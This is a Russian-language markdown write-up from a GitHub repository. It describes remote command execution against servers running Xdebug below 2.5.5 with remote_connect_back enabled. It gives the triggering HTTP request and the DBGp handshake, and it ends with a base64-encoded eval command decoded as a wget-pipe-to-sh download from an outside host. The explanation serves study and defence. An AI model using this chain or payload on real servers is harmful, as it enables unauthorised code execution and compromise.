Skip to content

Latest commit

 

History

History
63 lines (41 loc) · 2.82 KB

attack-scenario.md

File metadata and controls

63 lines (41 loc) · 2.82 KB

Атака на сервер, использующая уязвимость php-модуля Xdebug версии < 2.5.5

Атака позволяет выполнять системные комманды от имени пользователя вебсервера.

Статьи на тему:

xpwn - exploiting xdebug enabled servers

Xdebug: A Tiny Attack Surface

xdebug < 2.5.5 - OS Command Execution (Metasploit)

Основная проблема заключается в уязвимой конфирурации xdebug.ini, а именно во включенной удаленной отладке c опцией xdebug.remote_connect_back = 1:

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

Пример атаки:

5.8.54.27 - IP адрес атакующего клиента

192.168.1.99 - IP адрес атакуемого сервера

  1. Атакующий клиент делает GET-запрос к серверу по протоколу HTTP:

    5.8.54.27:47927 => 192.168.1.99:80

 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
 Host: 91.193.237.57
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
 Connection: close
 Accept-Encoding: gzip
  1. В ответ на запрос php-модуль Xdebug на атакуемом сервере формирует ответ, используя протокол DBGp.

    В случае успешного соединения атакующий клиент получает данные в формате XML на 9000 порт:

    192.168.1.99:52616 => 5.8.54.27:9000

<?xml version="1.0" encoding="iso-8859-1"?>
    <init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug"
      fileuri="file:///var/www/work/web/index.php" language="PHP" protocol_version="1.0"
      appid="2904" idekey="phpstorm">
    <engine version="2.3.3"><![CDATA[Xdebug]]></engine>
    <author><![CDATA[Derick Rethans]]></author>
    <url><![CDATA[http://xdebug.org]]></url>
    <copyright><![CDATA[Copyright (c) 2002-2015 by Derick Rethans]]></copyright>
</init>
  1. Теперь атакующий клиент выполнет комманды по протоколу DBGp от имени пользователя вебсервера.

    5.8.54.27:9000 => 192.168.1.99:52616

eval -i 1 -- c2hlbGxfZXhlYygnd2dldCAtcSAtTyAtIGh0dHA6Ly8xLjExMS4xMTEuMTExL2V4cGxvaXQuc2h8c2gnKTs=

Данная комманда выполняет php код: shell_exec('wget -q -O - http://1.111.111.111/exploit.sh|sh');